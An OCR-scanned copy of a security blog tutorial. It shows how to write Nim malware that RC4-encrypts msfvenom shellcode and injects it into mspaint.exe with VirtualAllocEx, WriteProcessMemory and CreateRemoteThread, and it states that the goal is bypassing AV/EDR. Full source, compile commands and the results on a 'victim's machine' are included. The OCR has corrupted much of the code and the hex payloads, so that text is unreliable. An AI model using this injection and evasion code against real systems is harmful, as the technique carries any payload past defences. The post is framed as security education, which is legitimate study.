Malware and cryptography 28: RC4 payload encryption.
Simple Nim example.
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10 minute read

Hello, cybersecurity enthusiasts and white hackers!

1/19


https://cocomelonc.github.io/malware/2024/06/01/malware-cryptography-28.html

File Machine View Input Devices Help

X 0 256
y int(s[x]) 1nt1l, @x61, Ox74, @X00
swap(s[x], sly.bytel]) PS Z:\2024-06-01-malware-cryptography-28> .\hack2.exe
started process: 4300
PRGA(s seqlbytel, mg riteprocessmemory: true
i 0 inj to process: 4300
j 0
result newSeq[ byte] (messac

k 0 messagel
i+-1) 256

j int(s[i]))
s
t

1=
j=
swap (

1

[1], s[j.bytel])

result[k] s[(int(s[i]
RC4(plaintext: segl[bytel)
messagel = len(plaintexi
s newSeq[byte] (256) ; o o o , i e

KSA(s. key) « R o
keystream = PRGA(s, mess

result = newSeq[bytel (messag
i 0 messageL
result[i] plaintext[i]

@ 323 MM
. g 1 d o ~ = §§ ) Thursday
isMainModule = =\ = /672024

i BOh i B @ Right ctr
plaintext: seg[byte] @ 0% & 508 @Bl E rRight cui

Many of my readers ask whether it is possible to write malware in a language other than
C/C++/ASM.

When malware is found to be written in new programming languages, AV detections are
often failing since the new language produces bytecode sequences that are relatively
unknown, combined with strings of data that can throw off static-based heuristic models.

As an experiment, | decided to show how to write a simple malware example using Nim lang.
The reason for this choice is the ease of the language and its flexibility for use in bypassing
AV/EDR solutions.

For installation and intro you can read official documentation.

In one of my previous posts | used RC4 algorithm to encrypt the payload. Let’s create the
same logic for Nim malware.

practical example 1

First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its
implementation in C++ looks like this:
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// swap
void swap(unsigned char *a, unsigned char *b) {
unsigned char tmp;

tmp = *a;
*a = *b;
*b = tmp;

// key-scheduling algorithm (KSA)

void KSA(unsigned char *s, unsigned char *key, int keyL) {

int k;
int x, y = 0;

// initialize

for (k = 0; k < 256; k++) {
s[k] = k;

}

for (x = 0; x < 256; x++) {
y = (y + s[x] + key[x % keyL]) % 256;
swap(&s[x], &s[y]);

}

return;

// pseudo-random generation algorithm (PRGA)

unsigned char* PRGA(unsigned char* s, unsigned int messagelL) {

int i =0, j =0;
int k;

unsigned char* keystream;

keystream = (unsigned char *)malloc(sizeof(unsigned char)*messagel);

for(k = 0; k < messagelL; k++) {
i (i + 1) % 256;
J = (3 + s[i]) % 256;
swap(&s[i], &s[]j]);
keystream[k] = s[(s[1i] + s[j]) % 256];
}

return keystream;

// encryption and decryption

unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext,

char* key, unsigned int keyL, unsigned int messagelL) {
int 1i;
unsigned char s[256];
unsigned char* keystream;
KSA(s, key, keylL);
keystream = PRGA(s, messagel);

for (1 = 0; i < messagelL; i++) {
ciphertext[i] = plaintext[i] A keystream[i];

unsigned
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}

return ciphertext;
}
So, on Nim lang this logic looks like this:
import strutils
import sequtils

import system

proc swap(a: var byte, b: var byte) =

let tmp = a
a==>b
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

# initialize
for k in @ ..< 256:
s[k] = byte(k)

for x in @ ..< 256:
y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
var 1 = 0
var j = 0
result = newSeq[byte](messagel)

for k in @ ..< messagelL:
i (i + 1) mod 256
J (j + int(s[i])) mod 256
swap(s[i], s[j.byte])
result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =

let messageL = len(plaintext)

var s = newSeq[byte](256)

KSA(s, key)

let keystream = PRGA(s, messagelL)

result = newSeq[byte](messagel)
for i in @ ..< messagelL:
result[i] = plaintext[i] xor keystream[i]

For checking corectness, add printing hex bytes of payload logic:
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when isMainModule:
let plaintext: seq[byte] = @[// payload here]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, Ox6d, 0x65, Ox6f, 0x77]

let ciphertext = RC4(plaintext, key)
var enchex: seq[string]
for b in ciphertext:
enchex.add("ox" & $toHex(b, 2))
echo "payload encrypted:\n", enchex.join(", ")

let decrypted = RC4(ciphertext, key)
var decrhex: seq[string]
for b in decrypted:
decrhex.add("ox" & $toHex(b, 2))
echo "original payload:\n", decrhex.join(", ")
How we can generate payload for nim language?

For this we can use msfvenom:

msfvenom -p windows/x64/messagebox TEXT='meow-meow!' TITLE='cat' -f csharp

5/19



parrot@parrot

In our case little bit modify this brackets and variable:
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let plaintext: seq[byte] = @[

byte 0xfc,0x48,0x81,0xe4, 0xfo, Oxff,

Oxff, Oxff,Oxe8,0xd0O, Ox00, Ox00, O0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51,0x56, 0x48, 0x31,0xd2, Ox65, 0x48, 0x8b, 0x52, Ox60, Ox3e, 0x48,
Ox8b, 0x52,0x18, 0x3e, Ox48, 0x8b, 0x52, 0x20, 0x3e, Ox48, Ox8h, Ox72,
0x50, 0x3e, Ox48, Ox0f, Oxb7, Ox4a, Ox4a, 0x4d, ©x31, Oxc9, 0x48, 0x31,
0xcO, 0xac, Ox3c, Ox61,0x7c, Ox02, Ox2¢c, 0x20,0x41, Oxcl, Oxc9, 6x0ed,
0x41,0x01, 0xcl, Oxe2, 0xed, Ox52, 0x41, 0x51, 0x3e, Ox48, O0x8b, 0x52,
0x20,0x3e,0x8b, 0x42,0x3c, 0x48,0x01, 0xd0, Ox3e, Ox8b, Ox80, Ox88,
0Xx00, Ox00, 0x00, 0x48, Ox85, OxcO, Ox74, Ox6T, 0x48, 0x01, Oxd0O, OX50,
0x3e, Ox8b, 0x48, 0x18, Ox3e, 0x44, 0x8b, Ox40, 0x20, 0x49, Ox01, 0xd0,
0xe3,0x5c, Ox48, Oxff,Oxc9, Ox3e, Ox41, 0x8b, 0x34, 0x88, 0x48, Ox01,
0xd6, 0x4d, ®x31,0xc9, 0x48,0x31,0xc0O, Oxac, Ox41,0xcl, Oxc9, Ox0d,
0x41, 0x01, 0xc1l, 0x38, Oxed, 0x75, 0xf1, Ox3e, Ox4c, 0x03, Ox4c, 0x24,
0x08, Ox45, 0x39, 0xd1, Ox75, 0xd6, 0x58, Ox3e, 0x44, 0x8b, Ox40, 0x24,
0x49,0x01, 0xdO, Ox66, 0x3e, Ox41, Ox8b, Ox0Oc, Ox48, Ox3e, Ox44,0x8b,
0x40, Ox1c, 0x49, 0x01, OxdO, 0x3e, Ox41, Ox8b, 0x04, 0x88, Ox48, 0x01,
0xd0, Ox41, 0x58, 0x41, Ox58, 0x5e, 0x59, Ox5a, 0x41, 0x58, Ox41, 0x59,
0x41,0x5a, 0x48, 0x83, Oxec, Ox20, 0x41, 0x52, 0xff, Oxe®, 0x58, 0x41,
0x59, Ox5a, Ox3e, Ox48,0x8b, 0x12, 0xe9, 0x49, Oxff, oxff, Oxff, Ox5d,
0x49,0xc7,0xcl, Ox00, 0x00, O0x00, OxO0, Ox3e, Ox48, 0x8d, 0x95, Oxfe,
0Xx00, Ox00, 0x00, 0x3e, Ox4c, 0x8d, 0x85, Ox09, 0x01, 0x00, OX00, 0x48,
0x31,0xc9, 0x41, Oxba, 0x45, Ox83, 0x56, 0x07, 0xff, Oxd5, 0x48, 0x31,
0xc9, 0x41, 0xba, 0xf0, O0xb5, 0xa2, 0x56, Oxff, Oxd5, Ox6d, Ox65, OX6T,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00, 0x63,0x61,0x74,0Xx00

]

So the final full source code is look like this hack.nim:
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import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =

let tmp = a
a=m>
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

# initialize
for kK in 0 ..< 256:
s[k] = byte(k)

for x in @ ..< 256:
y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
var i = 0
var j = 0
result = newSeq[byte](messagel)

for k in 0 ..< messagelL:
i (i + 1) mod 256
j (j + int(s[i])) mod 256
swap(s[i], s[j.byte])
result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
let messageL = len(plaintext)
var s = newSeq[byte](256)
KSA(s, key)
let keystream = PRGA(s, messagel)

result = newSeq[byte](messagel)
for 1 in 0 ..< messagelL:
result[i] = plaintext[i] xor keystream[i]

when isMainModule:
let plaintext: seq[byte] = @[

byte 0xfc,0x48,0x81,0xe4, 0xfo, Oxff,

Oxff,oxff, 0xe8, 0xdO, Ox00, Ox00, OXx00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, Ox31, 0xd2, 0x65, 0x48, Ox8b, Ox52, 0x60, 0x3e, 0x48,
0x8h, 0x52, 0x18, Ox3e, Ox48, 0x8h, 0x52, 0x20, Ox3e, O0x48, 0x8h, Ox72,
0x50,0x3e,0x48, 0x0f, O0xb7, 0x4a, 0x4a, 0x4d, Ox31,0xc9, Ox48, 0x31,
0xcO, 0xac, Ox3c, O0x61,0x7c, Ox02, Ox2¢c, 0x20, 0x41, Oxcl, Oxc9, Ox0d,
0x41,0x01,0xcl,0xe2,0xed, 0x52,0x41,0x51, 0x3e, Ox48, 0x8b, 0x52,
0x20,0x3e, 0x8b, Ox42,0x3c, Ox48, Ox01, 0xdO, Ox3e, Ox8b, Ox80, Ox88,
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0x00, Ox00, 0x00, 0x48, Ox85, 0xcO, Ox74, Ox6T, 0x48, 0x01, Oxd0O, OX50,
0x3e, Ox8hb, 0x48, 0x18, Ox3e, 0x44, 0x8b, Ox40, 0x20, 0x49, Ox01, 0xd0,
0xe3,0x5c, Ox48, Oxff,0xc9, Ox3e, Ox41, 0x8b, 0x34, 0x88, 0x48, 0x01,
0xd6,0x4d, Ox31, 0xc9, 0x48, Ox31, OxcO, Oxac, Ox41, Oxcl, Oxc9, Ox0d,
0x41, 0x01, 0xcl, 0x38, Oxed, 0x75, 0xf1, Ox3e, Ox4c, 0x03, Ox4c, 0x24,
0x08, Ox45, 0x39, 0xd1, Ox75, 0xd6, 0x58, Ox3e, 0x44, 0x8b, 0x40, 0x24,
0x49,0x01, 0xd0, Ox66, 0x3e, Ox41, Ox8b, Ox0Oc, Ox48, Ox3e, O0x44,0x8b,
0x40,0x1c, Ox49, 0x01, 0xd0, Ox3e, Ox41, 0x8b, O0x04, Ox88, 0x48, Ox01,
0xd0, Ox41,0x58,0x41,0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, Ox59,
0x41, Ox5a, 0x48, 0x83, Oxec, 0x20, 0x41, 0x52, Oxff, Oxed, Ox58, 0x41,
0x59, 0x5a, Ox3e, Ox48,0x8b, 0x12, Oxe9, 0x49, oxff, Oxff, Oxff, Ox5d,
0x49,0xc7,0xcl, Ox00,0x00, Ox00, OxO0, O0x3e, Ox48, Ox8d, O0x95, Oxfe,
0x00, Ox00, 0x00, 0x3e, Ox4c, 0x8d, 0x85, Ox09, 0x01, 0x00, OX00, 0x48,
0x31,0xc9, 0x41, Oxba, 0x45, 0x83, 0x56, 0x07, 0xff, Oxd5, 0x48, 0x31,
0xc9, 0x41, Oxba, 0xf0, 0xb5, Oxa2, 0x56, Oxff, Oxd5, Ox6d, Ox65, Ox6T,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0%x21,0x00,0x63,0x61,0x74,0x00

]
let key: seq[byte] = @[0x6d, 0x65, Ox6f, 0x77, Ox6d, 0x65, Ox6f, Ox77]

let ciphertext = RC4(plaintext, key)
var enchex: seq[string]
for b in ciphertext:
enchex.add("0x" & $toHex(b, 2))
echo "payload encrypted:\n", enchex.join(", ")

let decrypted = RC4(ciphertext, key)
var decrhex: seq[string]
for b in decrypted:
decrhex.add("ox" & $toHex(b, 2))
echo "original payload:\n", decrhex.join(", ")

demo 1

Let’s check it in action. Compile it:

nim ¢ -d:mingw --cpu:amd64 hack.nim
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\ H
1\°$ nim ¢ -d:mingw --cpu:amd64 hack.nim

! used config file '/home/cocomelonc/.choosenim/toolchains/nim-2.0.4/config/
nim.cfg'
F used config file '/home/cocomelonc/.choosenim/toolchains/nim-2.0.4/config/
config.nims'

L

lccoo0o0a00ca

, /home/cocomelonc/hacking/cybersec_blog/meow/2024-06-01-malware-cryptography-28/h
lack.nim(2, 8) Warning: imported and not used: 'sequtils'

|
mm: orc; threads: on; opt: none (DEBUG BUILD, "-d:release  generates faste

bl

r code)

42779 lines; 0.332s; 57.461MiB peakmem; proj: /home/cocomelonc/hacking/cybersec_
blog/meow/2024-06-01-malware-cryptography-28/hack.nim; out: /home/cocomelonc/hac
king/cybersec_blog/meow/2024-06-01-malware-cryptography-28/hack.exe

$ 1s -1t
total 668

-rwxrwxr-x 1 cocomelonc cocomelonc 633033 Jun 6 10:12
-rwxrwxr-x 1 cocomelonc cocomelonc 40960 Jun 2 22:24

Then, just move it to the victim’s machine (Windows 11 in my case) and run:

.\hack.exe

malware-cryptography-28 » < hack.nim

s
result [l] pla ntext [ l] win11-en-us (persistence) [Running] - Oracle UM VirtualBox - ®

File Machine View Input Devices Help

‘ E¥ Windows PowerShell

, BXEA, 0X6D, OX6F

isMainModule
plaintext: seg[bytel]

0 original payload:
"loxFC, ox48, 0x81, OxE4, OxF@, OxFF, OxFF, OxFF, OxE8, 0xD@, 0x00, 0x00, 0x00, ©x4l, ox5l|
000 ex41, ex58, @x52, Ox51, ©x56, Ox48, Ox31, OxD2, Ox65, Ox48, Ox8B, Ox52, OX6@, OX3E, OX

8b lex48, @xeF, @xB7, @x4A, ex4A, @x4D, @x31, @xC9, @x48, @x31, @xCe, @xAC, 8x3C, 8x61, Ox7C

, ©x02, @x2C, 0x20, Ox41, OxCl, 8xC9, 0x8D, Ox4l, exel, @xCl, @xE2, OxED, 8x52, @x4l, @x
o2 |51, @X3E, @xa8, 0x8B, @x52, 0x20, OX3E, Ox8B, 0x42, @x3C, 0x48, 0x01, @xDo, OX3E, @x8B,

“’loxs80, OXx88, @x00, OXP0, OX00, OX48, OX85, OXCO, OX74, OX6F, Ox48, @x0l, OxD8, OX50, Ox3E

/|, ox8B, ex48, ©x18, OX3E, @x44, OX8B, Ox4@, 0X20, OX49, @x01, @XDE, BXE3, OX5C, OX48, OX
48 fiFF, exco, ex3E, ox41, Ox8B, ©x34, 0x88, Ox48, 0x01, OxD6, 0x4D, 0x31, @xC9, ex4s, ox3i,
-0 Jexce, OxAC, @x41, @xCl, @xC9, @xeD, ox4l, exel, exCl, 0x38, OxEe, ex75, oxFl, Ox3E, ox4C

|

|

00O o OMEPMEOWOWWOT

“lox49, ox01, 6xDo, Ox3E, Ox41l, Ox8B, ©x04, Ox88, Ox48, Ox01, OxDO, Ox41l, Ox58, Ox41l, OX58
__ [, ©x5E, ©x59, ©x5A, 0x41l, 0x58, ©x4l, ©x59, 0x41l, Ox5A, ©x48, Ox83, OXEC, 0x20, ©x4l, 0X
’§' 52, OXFF, OXE@, ©Xx58, Ox41l, Ox59, Ox5A, OX3E, Ox48, Ox8B, Ox12, OXE9, Ox49, OXFF, OXFF,
) exFF, @x5D, @x49, @xC7, OxCl, ©x00, 0x00, 0x00, @x80, Ox3E, 0x48, Ox8D, 0Ox95, OXFE, 0x09
a1, exoe, oxee, ox3E, Ox4C, ©x8D, Ox85, 0x09, 0x01, 0x00, @x00, Ox48, 0x31, OxC9, Ox4l, Ox
3e JBA, @x45, ©x83, @x56, ©x07, OXFF, @xD5, @x48, ©x31, @xC9, @x4l, @xBA, @xFe, ©xB5, ©xA2,
5e |Ox56, BXFF, @xD5, @x6D, @x65, @x6F, @x77, @x2D, @xeD, @x65, @x6F, @x77, 0x21, exee, @x63
,

5o | 9x61, @x74, exee

l_;’ PS Z:\2024-06-81-malware-cryptography-28>
00,

oo

D00 WK~ O -

11:21 PM

HH Q [CREE CI> B | A =0 63 ) Wednesdsy []

— 6/5/2024

O & & 0 Bl i 80 @ @ right curi

For checking correctness of RC4 encryption/decryption you also can use simple C code.

practical example 2
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Let’'s update our code from example 1: add simple process injection logic.

For process injection, let’s create process first:

import osproc
import winim

let process = startProcess("mspaint.exe")
echo "started process: ", process.processID

Then, add process injection logic via virtualAllocEx, WriteProcessMemory and
CreateRemoteThread:

let ph = winim.OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD] (process.processID)

when isMainModule:
let mem = VirtualAllocEXx(
phl
NULL,
cast[SIZE_T](plaintext.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE

var btw: SIZE_T
let wp = WriteProcessMemory(
ph,
mem,
unsafeAddr payload[0],
cast[SIZE_T](plaintext.len),
addr btw
)
echo "writeprocessmemory: ", bool(wp)
let th = CreateRemoteThread(
ph,
NULL,
0,
cast [LPTHREAD_START_ROUTINE](mem),
NULL,
0,
NULL
)
echo "successfully inject to process: ", process.processID
echo "thread Handle: ", th

The only difference, we are using encrypted payload from example 1:
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let plaintext: seq[byte] = @[

byte 0x61, 0x03, OxDF, 0x4C, OXEO, Ox8E, OxFF, Ox5F, 0xB2, Ox7F, 0x28, 0x22, OxE9,
0x3B, Ox1A, 0x09, 0xB6, 0x66, 0x78, OxCD, OxAD, 0x67, OXE1l, 0x18, 0x82, 0x91,
0x83, 0x1C, OXE9, 0Ox9D, 0Ox09, 0x80, OxFB, Ox0F, OxD7, Ox3A, 0x06, 0xB2, 0OxF2,
0x6B, OxOC, 0OxA4, 0x93, 0x29, OxBE, 0x3D, 0x73, 0x78, OXEE, 0OxD5, 0x6B, 0OxB7,
OxB5, Ox5B, 0x98, OxFO, Ox8E, 0x61, OxD3, Ox3F, 0x2B, OxXEB, 0x06, 0xA2, Ox9B,
OXE5, OxDA, OXED, 0xOC, OxF1l, OxF4, 0x64, 0x82, 0x8B, 0x96, 0OxDO, 0x71, Ox9A,
OXxCB, 0x59, 0x41, 0x7C, 0x52, 0x06, Ox4D, OxC7, Ox00, OXEC, 0x80, OxDD, OxDF,
0x37, 0x4D, Ox3C, 0x25, 0x82, 0xB4, 0x37, OXE6, 0x25, 0x75, OxDC, OXBE, OXFO,
Ox1E, OxD1, Ox1A, OxDE, 0Ox2D, 0OxB8, 0xA2, 0xAl, 0x6B, 0x7D, Ox0F, 0xCO, 0OxCO,
0x66, Ox4A, OX9E, Ox9A, Ox9A, 0x93, 0Ox6B, 0xA4, 0x63, 0x51, OXAQ, 0x91, 0OxBO,
0x99, 0x21, OxDC, OxDB, 0x41, OxF7, OxCC, 0xB8, OxD5, 0x4B, OxFF, 0OxA2, 0x58,
OXA8, OXEF, OXE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, Ox5F, 0x9C,
Ox8F, OxF2, OxC7, 0x19, OxA5, 0x07, Ox3E, 0x1C, 0x70, OX6E, 0x80, OxDA, 0x23,
0x37, Ox51, 0x98, 0x7D, OxBE, 0x55, OxF9, 0x56, 0x52, OxOE, 0x48, 0x40, 0x2D,
OX9A, 0xD3, OxOF, 0xB8, 0x92, 0x62, OXE7, O0x5C, OxX0A, Ox2E, OXFE, OxF8, 0x96,
OX8E, 0x10, OxB6A, 0x04, Ox0B, OxDD, 0x24, OXCB, 0x18, 0x20, Ox9E, 0x23, Ox9A,
0x57, OxC1, 0x38, OxCO, OxD7, OXxOA, Ox57, OX3E, 0x80, 0x75, O0x9B, 0x79, 0x59,
OxB6, 0Ox31, OXE4, Ox3E, OxBA, OxBB, Ox1E, 0x91, OxC5, 0x10, OXAQ, 0x63, Ox6B,
0x99, Ox9F, 0x61, 0x6C, 0xB5, 0Ox1A, 0x09, 0x61, OXFD, 0x21, OxCC, 0x64, 0xC4,
0x9C, OxCA, 0x15, OxAl, 0Ox3B, 0x62, 0x44, 0x5B, 0x34, OxDC, 0Ox06, OXEB, Ox8F,
OxB1, 0Ox50, Ox7B, 0x1C, Ox77, OxC7, Ox8B, 0x24, 0x34, Ox5E, 0OxC4, 0x02, 0x00,
Ox3F, 0x1D, 0x05, Ox2E, 0x18, 0OXC5, OXEA, 0Ox6D, OX6F

]

let key: seq[byte] = @[0x6d, 0x65, Ox6f, 0x77, Ox6d, 0x65, Ox6f, Ox77]

let payload = RC4(plaintext, key)

As you can see, we are decrypt it via RCA4.

The final full source code for example 2 is looks like this (hack2.nim):
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import strutils
import sequtils
import system
import osproc
import winim

proc swap(a: var byte, b: var byte) =

let tmp = a
a==>b
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

# initialize
for k in @ ..< 256:
s[k] = byte(k)

for x in 0 ..< 256:

y = (y + int(s[x]) + int(key[x mod keyL])) mod 256

swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =

var 1 = 0
var j = 0
result = newSeq[byte](messagel)

for k in 0 ..< messagelL:
i (i + 1) mod 256
J (j + int(s[i])) mod 256
swap(s[i], s[j.byte])

result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =

let messageL = len(plaintext)

var s = newSeq[byte](256)

KSA(s, key)

let keystream = PRGA(s, messagel)

result = newSeq[byte](messagel)
for i in @ ..< messagelL:
result[i] = plaintext[i] xor keystream[i]

when isMainModule:
let plaintext: seq[byte] = @[

byte 0x61, ©x03, OXDF, 0x4C, OXE®, OX8E, OXFF, OX5F, OxB2, OX7F, 0x28, 0x22,

OXE9,
0x3B, Ox1A, 0x09, 0xB6, 0x66, 0x78, 0OxCD,
0x83, 0x1C, OXE9, 0Ox9D, 0x09, 0x80, OxFB,
Ox6B, Ox0C, OxA4, 0x93, 0x29, OxBE, 0x3D,
OxB5, Ox5B, 0x98, 0OxFO, Ox8E, 0x61, 0OxD3,

OXAD,
OXOF,
0x73,
Ox3F,

0Xx67,
0xD7,
0Xx78,
0x2B,

OXE1,
OXx3A,
OXEE,
OXEB,

0x18,
0x06,
0xD5,
0x06,

0x82,
0xB2,
OX6B,
OXA2,

0x91,
OxF2,
OxB7,
0x9B,
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OXE5, OxDA, OXED, Ox0C, OxF1, OxF4,
OXCB, 0x59, 0x41, O0x7C, 0x52, 0x06,
0x37, 0x4D, Ox3C, 0x25, 0x82, 0xB4,
Ox1E, 0xD1, Ox1A, OxDE, 0x2D, 0xBS,
0x66, Ox4A, OX9E, Ox9A, Ox9A, 0x93,
0x99, 0x21, OxDC, OxDB, 0x41, OxF7,
OXA8, OXEF, OXE3, 0x90, 0x50, 0x3C,
Ox8F, OxF2, OxC7, 0x19, 0OxA5, 0x07,
0x37, Ox51, 0x98, 0x7D, OXBE, 0x55,
OXx9A, 0OxD3, OxX0F, OxB8, 0x92, 0x62,
OX8E, 0x10, OX6A, 0x04, Ox0B, 0OxDD,
0x57, OxC1l, 0x38, 0OxCO, 0OxD7, OxOA,
0xB6, 0x31, OXE4, Ox3E, OxBA, OXBB,
0x99, Ox9F, 0x61, Ox6C, OxB5, 0Ox1A,
0x9C, OxCA, 0x15, OxAl, 0Ox3B, 0x62,
0xB1, 0x50, 0x7B, 0Ox1C, 0Ox77, 0OxC7,
Ox3F, 0x1D, 0x05, O0x2E, 0x18, 0OxC5,

]

0x64,
0x4D,
oOx37,
OxA2,
0x6B,
0xCC,
0x03,
OX3E,
OXF9,
OXE7,
0x24,
0x57,
OX1E,
0x09,
0x44,
Ox8B,
OXEA,

0x82,
0xC7,
OXE®6,
OxA1,
OxA4,
0xB8,
0x30,
ox1C,
0x56,
0x5C,
OxCB,
Ox3E,
0x91,
0x61,
Ox5B,
0x24,
Ox6D,

0x8B,
0x00,
0x25,
Ox6B,
0x63,
0xD5,
0x42,
0Xx70,
0x52,
OX0A,
0x18,
0x80,
0xC5,
OXFD,
0x34,
0x34,
OX6F

0x96,
OXEC,
0X75,
Ox7D,
0x51,
0x4B,
0x3C,
OX6E,
OXOE,
Ox2E,
0x20,
0Ox75,
0x10,
0x21,
0xDC,
Ox5E,

OxDo,
0x80,
OxDC,
OXOF,
OXAO,
OXFF,
0x1B,
0x80,
0x48,
OXFE,
Ox9E,
0x9B,
OXAO,
OxCC,
0x06,
OxC4,

0x71,
oxDD,
OXBE,
0xCo,
0x91,
OxA2,
OX5F,
OxDA,
0x40,
OxF8,
0x23,
0Xx79,
0x63,
0x64,
OXEB,
0x02,

let key: seq[byte] = @[0x6d, Ox65, Ox6f, Ox77, 0x6d, O0x65, Ox6f, OX77]

let payload

RC4(plaintext, key)

let process = startProcess("mspaint.exe")

echo

let ph

= winim.OpenProcess(

PROCESS_ALL_ACCESS,
false,
cast[DWORD] (process.processID)

when isMainModule:

let

)

var

mem = VirtualAllocEx(

ph,

NULL,
cast[SIZE_T](plaintext.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE

btw: SIZE_T

let wp = WriteProcessMemory (

)

phl

mem,

unsafeAddr payload[0],
cast[SIZE_T](plaintext.len),
addr btw

"started process: ", process.processID

echo "writeprocessmemory: ", bool(wp)

let

th = CreateRemoteThread(
ph,

NULL,

0,

OX9A,
OxDF,
OXFO,
0xCo,
0xBO,
0x58,
0x9C,
0x23,
0x2D,
0x96,
OX9A,
0x59,
Ox6B,
0xC4,
Ox8F,
0x00,
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cast[LPTHREAD_START_ROUTINE] (mem),

NULL,

OI

NULL
)
echo "successfully inject to process: ", process.processID
echo "thread Handle: ", th

demo 2

Compile practical example 2:
nim ¢ -d:mingw --cpu:amd64 hack2.nim

cocomelonc@pop-os: ~ hacking/cybersec_blog/meow/2... cocomelonc@pop-os: ~/hacking/cybersec_blog/cocomeL... mc [cocomelonc@pop-osk~/ hacking/cybersec_blog/meow

| °$ nim ¢ -d:mingw --cpu:amd64 hack2.nim
‘ used config file '/home/cocomelonc/.choosenim/toolchains/nim-2.0.4/config/
nim.cfg'

used config file '/home/cocomelonc/.choosenim/toolchains/nim-2.0.4/config/
«config.nims'

j/home/cocomelonc/hacking/cybersec_blog/meow/ZOZA-06-31-malware-cryptography-ZS/h
‘ack2.nim(1, 8) imported and not used: 'strutils'

'/home/cocomelonc/hacking/cybersec_blog/meow/2024-06-01-malware-cryptography-28/h
'ack2.nim(2, 8) imported and not used: 'sequtils'

\ mm: orc; threads: on; opt: none (DEBUG BUILD, "-d:release’ generates faste
r code)
1177312 lines; 1.857s; 319.883MiB peakmem; proj: /home/cocomelonc/hacking/cyberse
c_blog/meow/2024-06-01-malware-cryptography-28/hack2.nim; out: /home/cocomelonc/
hacking/cybersec_blog/meow/2024-06-01-malware-cryptography-28/hack2.exe

$ 1s -1t
total 1344
-rwxrwxr-x 1 cocomelonc cocomelonc 684900 Jun 6 13:12

And run new file on Windows 11:

.\hack2.exe
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, Ox61, Ox74, 0x00
PS Z:\2024-06-01-malware-cryptography-28> .\hack2.exe
started process: 4300

riteprocessmemory: true

successfully inject to process: 4300

thread Handle: 680

PS Z:\2024-06-01-malware-cryptography-28> _

= :x DD..=.

Color | Color
1 2

!
meow-meow! Colors

100 706 = 498px

3:18 AM

=P aCaRaA N
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PS Z:\2024-06-01-malware-cryptography-28> .\hack2.exe
started process: 4300
riteprocessmemory: true

successfully inject to process: 4300
thread Handle: 680
PS Z:\2024-06-01-malware-cryptography-28>

Hacker View Tools Users Help

: = <
rocesses  Services  Metw

Joceses Serveer NWmE. ome | view ol

MName
7S A (M @ cat x HEEN ....l‘J

[ svchost.exe § . . .
Clipboard Image 7 f o} Brushes| Shapes § Edit
(W] svchost.exe - - - - meow-meow! colors

(] BingChatlnstaller.E) Tools Colors
[ StartMenuExperient
[®] RuntimeBroker.exe

-’} Refresh i 3 Options | & es (Ctrl+K) 0

1% ProcessHacker.e =]

[®] RuntimeBroker.exe
(W] svehost.exe

¢ Searchindexer.exe
[l dilhost.exe

E®] NisSrv.exe

[ SecurityHealthServi o

] svchost exe [= 10] 706  498px 100% |

(W] ApplicationFrameHost.exe 6696 7.77TME  DESKTOP-26FOMOC\tes Application Frame Host

[®] RuntimeBroker.exe 6260 2MB DESKTOP-26FQMOC\tes Runtime Broker

W] svchost.exe 5692 3.28 MB Host Process for Windows Ser...
[ SgrmBroker.exe 796 3.75MB System Guard Runtime Monit...
W] svchost.exe 6960 @ 2.4 MB Host Process for Windows Ser...
[#% mspaint.exe 4300] 10.13MB  DESKTOP-26FOMOCtes

CPU Usage: 4.91%  Physical memory: 1.43 GB (71.39%) Processes: 92

319 AM

. i L >, A - [Cu3 @ q9)  Thursday
Ok &€ 5 e L= 6/6/2024
B0 M O\ ) 0 SN AR

To verify our payload is indeed injected into mspaint.exe process we can use Process
Hacker 2, in memory section we can see:

Hig  mMacnine view Input uvevices Hep
isMainModule =
plaintext: seql[byte] , Ox61l, Ox74, ©x00

byte Oxfc,0x48,0x81,0xe4d, §PS Z:\2024-06-01-malware-cryptography-28> .\hack2.exe

Oxff,0xff,0xes,0xd0,0x00, §started process: 4300

0x51,0x56,0x48,0x31,0xd2, iriteprocessmemory: true

. i 1o Aus o Jsuccessfully inject to process: 4300

0,,..ub,O>t§2,0>t1‘;,0,<Je,G‘ 48,/ read Handle: Gs@

0 .50,0)‘\_)8,0)‘\40,@}’(9](,@:f{b7, 5S 7:\2024-06-01-majff)

0xc0,0xac,0x3c,0x61,0x7c, ™ s L

1,0x01,0xcl,0xe2,0xed, Hadker ¥BY

(<]

2, Refresh ¢ 00000000[£c 48 81 =4 0 ££ £2 ££ =@ d0 00 00 00 41 Sea
) ] cQ a7 0% | 00000010|50 52 51 56 48 31 d2 65 48 Bb 52 60 3e 48 —
0x20,0x3e,0x8b,0x42,0x3c, Processes § ngoooozofLs se 48 Sb 52 20 3e 48 8b 72 50 3e 43 OF
. . vAg v N 0000003042 4d 31 c9 48 31 o0 ac 3c 6L Tc 02 2c 20 "
